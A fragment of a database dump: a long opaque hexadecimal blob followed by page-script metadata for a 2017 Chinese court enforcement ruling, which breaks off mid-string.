01C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF1820089****DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC1846672****AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD6531100E03DFA81BF81562228B5C51F7B4FB2645983DF8B506E8732F49E1557F8A18A7C2BF98301AA272767D239AE145C7D2533F10B32F6378EF4D881741E3C23C2C16AC6697DE0F6DFB5F3CC23DF1055D5E93F1D8E9E61E0726C56B69F341FF0C73BD213123D9E2C442BC179BAFF7941F5E7DA15C78036720B517B00D4F6D542C8A5DC208587817FBF3701326D171FF05984D62769C8E5C4D7CA3121154589C53F7D35E84198F19CCC1DCE62630A45E8E53D6550CE3BDB11C42783143838681856A252918D20C79C608D1A4593423470506A3264783F46DBD18E66F0902436ADDF7C369A4E104139A03768A208605EF30B321FF85E5528C4C8822277561E576004B9423BEE6D7D39BCD2082536EFFBB07080231F2027F122240EDD314A67D66DE174C20171BC91BF9A660CD6A5663852BC586C1ACD20820C4C8828B5C0117633659100C661578A2436046BC05BD81F1438C091EBF6B8D89BDBDD93BB0B55AEE2D64C4A2D8248A753A35D76F42CC1E9C4DF7508A5DB4B463F34CF9FC7ECFE7A696B166C4704993BA9BCCCD6605A6746019E2B3E831BE9A1D62D3462A1360A384A3B9C998900911B8129A3D6A56E63514FF62040C280557FF67F7CEE7C3BD107970F7BA052513D60C6058246EE4056976185D9BE0C101A5C206B18BD730DDEC7C53F78EA7C0051370085292C60011AF0E31925BFC32B15965E1C850077D725DC7CFA966C0AC0D104402B3E80500DFC7D1A3626FCAF9C98421E4D88F92E3A9970E66B3801704C43FB92034813FDB200E5D0FE346F5DCABDDB8E5C40B4693A5CD7F4D78C99A86453B2DBAD19162EE3B56F3D463DF81DC973F90F7033F55F79D83498D7AC18A0DD4CDE56A484190629EA49FC14D2E555ACEA91B4AE10561D29DB710DE5EB28A34D1465CDE3CC9CDD3A1C2E9A72A0FE0DC531DD08D95E14EAD4AAE0EEF0DA3B355488B4D8859CC561393AB7044E0178DF77D20C5CC46B1AD1493B158C3A03912C92B36AC59AB93128CC9D42C30A911B700142FC29B31AB3843C1A426CC62DA10F77CCD62C53F685B5A1EF757F1E44D9800CF4C82EE96C6A437C930B032F4F63F56387AF305C06D45BDB0F7E02236810C91E63D048244B0EC4ADDEA958CDE83389207E8A81B4FF734DB27CF2E3366CC629DEAD7764588BD604904E54297B6B7381450431F447ADD2BF1D71A46B378C9D639D061524CB6E144463183823168E20B9F966A745E2A5324D75B2A865BE8241672FAF0CC7D64C1EA4DDF09737C56CF0583A416CF0345071D6AC54FA5C56289B8E2103103955CE94D9A116A80D500C368463030BAD3846644D6C8FDD7DD025B720242E7C741F77487D39326CDA04DE866D98C1846441F13D104FCBD4B60761E7D53A35E2453576EED35292A108B62CDC8FAA95213081251B091426C33180140728A6661F8ED7D1CD4601F50F7E1F382611214AC4092152486410428553B4A6FD20C1EFFE4F1BE318BD9EDBDA03F43A91770CF69568421799BE66911849AC4DA056C14A966C8347EE35865EBBB15F70AC251CB44D990726F4409553966BC17A415415E9A96DBDFFA78165216934F4F2E734A44B97FD5EC10B75914A3D98B8B1911825259C70A9FBD4935075721F3290316350B1D3B4421141747661561A9620BADD526307B110E77503D3F6C08F5654DBE7D70B0756CC6EDC244036B43DC8A1ABB37031287195009FA4BA4593360104C2D3E158F1475F3AB7A63650326E8AABB10045261FC33C0A06015865526B990070E4324282811EFC526545E6914AB0F51180400FF25A0822D5520A498674B9E07C508901138FBDAED7FC204002000808003042001060007CE35F3160680040401021B86C59A730E0A1B2B30B9AD39F72A1D402A01001562CEB9D73A80020F38222874049C00910A04CAA7EA80FC3769B0360BD590005B1748002C55FF8E894DE88155A4327183BEA1FA235E315DEC8D4D904975390145A8BD776BAAE1E90B551B61867BDD7BED986A41BA88201900B9EE39371A9C8D8A20EFBAE7DCECC0189E0DE519800EAFB977C6B30A0C1B7D1ED91E0B80B13C8036339834AA8DAA55757784CB0A783B5C5F9F8DBA7E6EFB9190F03835383606D82AAB66767BEFECF07B3F8304A30E880EEF3D3777C18887533D173BC42283DF1A2A3DF762CF0EA92E48A3A07203E08D4F80ABCC5AAC23CC861C3494228322057C54D533D0AAFF370889D4836DA833F75DA8FFB5BC7691AA9B8F45A050994A853037E134ECBA5C94DE00FFA6F70ECFBD88A80AE8908C8BBDC7848344D62EEFDF7B6E16F1271326B1202FB8D87B5546B96DF5FF75D07F23C0747CA82C38346832343537B07755E760606A0001120C73B97B46FBB8345B33C9E97A17C1874384D8521FF2C87807C37B991444557AF1DE8B4580C1BA118D7788C5880A35BD724944F01E87872D4241F000D0A989E983E1D135FE5900815DD4A4019D1F49E1300360D0DA5FFAA0A375BC38333732FA380508F8823FB9299F819D58814DD8373784B1BB06C3E4C067EC04BF043A84201DDE8CD03E6E47ECBD58032419DBE578B3C3A48274EC12BD18B177A9DD10D558350836F70F838470C410219700FEAD75E46A37DC6D8489E0877BBC314EB83736BD6CB852C02914CC3861F72F04FAF4314DF80175F4B250B1CFCD728717AF44A448DE3BCC2264C36FB203BD779AC527A57ECCD6E13DDF8B0BA44580801A98C50A983582D21E16C0AF7E93B835B438310B47BE0025354E819044A120593F2155E8659408BB5F3E3537318432333635B76C0B115EB11887F32E6F317BAF1931A295CECB1A8CC321D25E6759C1263D82C026B902383C9EE90620E52C077F0AF80A49DCC775803281096F155A14463A095DB86B80ED353250A04921D0FE3762AD9EE52832017DEC8355CC36313823C231185B4D5E01002FF622CC87D9A77AAF638F177BA122A7A7C420DCB0777A150A92CB908AF0DEE9C600BE43B3B8BB25D92A5C9333319A353333B625157C5A5EEF58D3BC015F5F53B50C38FD16DD0C73185A20E6B952381C5E8C2E916B285169C23B4C4838BF3A84D8736FD6D10807E6E063C68BBD0A0FBA20C68057A4172DC3F18815B984C8D8DAADF335C61BF8BE06884D00360A01C2F71C1964F7BD52E952D963A610AC58A79DB24C64FC43B1923083C31F48401C66BCE781AC9BD1FA358CF7269DB9C1E96F1211826D9F06D481C06C7F0F506A388B709964899764679707B4A480779C4F60423734373314566BFAF5318D73197DC78','2018-09-27
09:09:45',0,'web',NULL),(24510983,'fd8b175f-c06c-4362-b8d6-a84a011556f7','$(function(){$(\"#con_llcs\").html(\"浏览：104次\")});$(function(){var
caseinfo=JSON.stringify({\"法院ID\":\"248\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"审判程序\":\"\",\"案号\":\"（2017）晋0202执1939号\",\"不公开理由\":\"\",\"法院地市\":\"大同市\",\"法院省份\":\"山西\",\"文本首部段落原文\":\"\",\"法院区域\":\"\",\"文书ID\":\"fd8b175f-c06c-4362-b8d6-a84a011556f7\",\"案件名称\":\"申请人刘俊伟申请执行韩飞、韩志强金钱给付一案执行裁定书\",\"法院名称\":\"大同市城区人民法院\",\"裁判要旨段原文\":\"\",\"法院区县\":\"城区\",\"补正文书\":\"2\",\"DocContent\":\"\",\"文书全文类型\":\"1\",\"诉讼记录段原文\":\"\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"上传日期\":\"\\\/Date(1513785600000)\\\/\",\"案件类型\":\"5\",\"诉讼参与人信息部分原文\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"申请人刘俊伟申请执行韩飞、韩志强金钱给付一案执行裁定书\");$(\"#tdSource\").html(\"申请人刘俊伟申请执行韩飞、韩志强金钱给付一案执行裁定书
（2017）晋0202执1939号\");$(\"#hidDocID\").val(\"fd8b175f-c06c-4362-b8d6-a84a011556f7\");$(\"#hidCaseName\").val(\"申请人刘俊伟申请执行韩飞、韩志强金钱给付一案执行裁定书\");$(\"#hidCaseNumber\").val(\"（2017）晋0202执1939号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"大同市城区人民法院\");$(\"#hidCaseType\").val(\"5\");$(\"#HidCourtID\").val(\"248\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"大同市城区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"执行案件\" },{ name: \"案由\", key: \"reason\", value: \"\"
},{ name: \"裁判日期\", key: \"trialDate\", value: \"2017-12-13\" },{ name:
\"当事人\", key: \"appellor\", value: \"刘俊伟,韩飞,韩志强\" }],LegalBase:
[{法规名称:\'最高人民法院关于适用《中华人民共和国民事诉讼法》若干问题的意见\',Items:[{法条名称:\'第二百八十条\',法条内容:\'
280、人民法院可以直接向银行及其营业所、储蓄所、信用合作社以及其他有储蓄业务的单位查询、冻结、划拨被执行人的存款。外地法院可以直接到被执行人住所地、被执行财产所在地银行及其营业所、储蓄所、信用合作社以及其他有储蓄业务的单位查询、冻结、划拨被执行人应当履行义务部分的存款，无需由当地人民法院出具手续。
\'}]}]};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"申请人刘俊伟申请执行韩飞、韩志强金钱给付一案执行裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2017-12-21\\\\\",\\\\\